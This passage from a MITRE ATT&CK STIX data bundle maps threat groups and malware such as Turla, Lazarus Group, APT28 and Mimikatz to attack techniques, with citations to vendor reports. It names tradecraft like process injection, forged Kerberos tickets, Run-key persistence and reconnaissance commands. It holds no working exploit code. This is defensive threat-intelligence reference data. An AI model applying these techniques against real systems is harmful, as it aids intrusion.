                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:59:28.281Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40",
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            "description": "[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "source_name": "Microsoft SIR Vol 21"
                },
                {
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha",
                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Wingbird Nov 2017"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2019-10-30T12:41:29.037Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
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            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running processes using the <code>tasklist /v</code> command.(Citation: Kaspersky Turla) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated processes associated with specific open ports or named pipes.(Citation: ESET Turla PowerShell May 2019)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "source_name": "ESET Turla PowerShell May 2019"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-07-14T21:04:44.995Z",
            "created": "2017-05-31T21:33:27.044Z"
        },
        {
            "id": "relationship--3a0c38e8-c174-4c86-a229-fcb4965ce311",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Socksbot](https://attack.mitre.org/software/S0273) creates a suspended svchost process and injects its DLL into it.(Citation: TrendMicro Patchwork Dec 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-20T15:42:34.380Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--406257ac-ff42-4e15-b72e-50202e38b675",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to upload and download files to the victim's machine.(Citation: Symantec Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-01-17T19:33:18.053Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228",
            "type": "relationship",
            "modified": "2020-03-30T13:38:08.849Z",
            "created": "2017-05-31T21:33:27.023Z"
        },
        {
            "id": "relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.373Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--99800503-d535-4fae-a318-dfa034dca663",
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.891Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--699ddfef-6e95-42cf-b212-dc661f790adc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also gathers process times.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)(Citation: TrendMicro macOS Dacls May 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                },
                {
                    "source_name": "TrendMicro macOS Dacls May 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/",
                    "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.920Z",
            "created": "2017-05-31T21:33:27.067Z"
        },
        {
            "id": "relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used RDP connections to move across the victim network.(Citation: PWC Cloud Hopper April 2017)(Citation: District Court of NY APT10 Indictment December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "type": "relationship",
            "modified": "2020-12-17T20:05:19.082Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
            "relationship_type": "uses",
            "target_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                }
            ],
            "description": "(Citation: FireEye APT30)",
            "type": "relationship",
            "modified": "2019-03-22T18:44:28.657Z",
            "created": "2017-05-31T21:33:27.048Z"
        },
        {
            "id": "relationship--696a01b4-e052-4355-a09b-ff1e46d452b4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "type": "relationship",
            "modified": "2020-02-04T12:59:37.743Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-09-09T17:44:35.699Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to acquire information about local networks: <code>ipconfig /all >> %temp%\\download</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
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            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used several different keyloggers.(Citation: Microsoft PLATINUM April 2016)",
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                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
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                    "source_name": "Securelist MuddyWater Oct 2018"
                },
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                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html",
                    "source_name": "Talos MuddyWater May 2019"
                },
                {
                    "source_name": "ClearSky MuddyWater June 2019",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf",
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                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
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                },
                {
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                },
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                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
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                    "source_name": "FireEye Periscope March 2018"
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            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) transferred compressed and encrypted RAR files containing exfiltration through the established backdoor command and control channel during operations.(Citation: Villeneuve et al 2014)",
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>whoami</code> on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)",
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                },
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
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                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                }
            ],
            "description": "(Citation: FireEye Fin8 May 2016)",
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            "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file that configures the ComSysApp service to autostart in order to establish persistence.(Citation: McAfee Honeybee)",
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                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
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            ],
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            "type": "relationship",
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            "relationship_type": "uses",
            "target_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "external_references": [
                {
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                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
                    "source_name": "Microsoft NEODYMIUM Dec 2016"
                },
                {
                    "source_name": "Microsoft SIR Vol 21",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"
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            ],
            "description": "(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)",
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            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "relationship_type": "uses",
            "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
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                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "description": "(Citation: Rancor Unit42 June 2018)",
            "type": "relationship",
            "modified": "2019-04-25T12:37:45.684Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
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            "description": "[TA459](https://attack.mitre.org/groups/G0062) has used PowerShell for execution of a payload.(Citation: Proofpoint TA459 April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
                }
            ],
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            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.(Citation: FireEye POSHSPY April 2017)",
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            ],
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                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of accounts with the command <code>net users</code>.(Citation: Symantec Orangeworm April 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
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        {
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            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit DLL hijacking opportunities in services and processes.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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            ],
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                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic is base64-encoded.(Citation: Unit 42 SeaDuke 2015)",
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            ],
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                {
                    "source_name": "Unit 42 SeaDuke 2015",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
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            "type": "relationship",
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            "created": "2017-12-14T16:46:06.044Z"
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            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)\u2019s <code>LSADUMP::DCShadow</code> module can be used to make AD updates by temporarily setting a computer to be a DC.(Citation: Deply Mimikatz)(Citation: Adsecurity Mimikatz Guide)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Deply Mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "url": "https://github.com/gentilkiwi/mimikatz"
                },
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-04-24T23:36:42.302Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[Prikormka](https://attack.mitre.org/software/S0113) creates a directory, <code>%USERPROFILE%\\AppData\\Local\\SKC\\</code>, which is used to store collected log files.(Citation: ESET Operation Groundbait)",
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            ],
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                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:46:22.033Z",
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        {
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            "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)",
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            ],
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                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
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            "relationship_type": "uses",
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used Registry Run keys to establish persistence.(Citation: Unit 42 Magic Hound Feb 2017)",
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            ],
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                {
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                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2019-09-09T19:21:42.362Z",
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            "description": "[HIDEDRV](https://attack.mitre.org/software/S0135) injects a DLL for [Downdelph](https://attack.mitre.org/software/S0134) into the explorer.exe process.(Citation: ESET Sednit Part 3)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                }
            ],
            "source_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T16:48:24.350Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "A dropper used by [Putter Panda](https://attack.mitre.org/groups/G0024) installs itself into the ASEP Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> with a value named McUpdate.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
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                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-03-25T16:53:38.815Z",
            "created": "2017-05-31T21:33:27.058Z"
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            "description": "[Thrip](https://attack.mitre.org/groups/G0076) leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.(Citation: Symantec Thrip June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets",
                    "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.",
                    "source_name": "Symantec Thrip June 2018"
                }
            ],
            "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-03-25T17:06:37.159Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d8bad886-d65a-4652-811f-f8ff9f6bb6db",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.(Citation: Unit 42 DarkHydrus July 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.445Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0908b4ce-fcfc-4307-a887-70fc8c27da3a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) prompts users for their credentials.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d",
            "type": "relationship",
            "modified": "2019-06-24T19:03:52.713Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            ],
            "external_references": [
                {
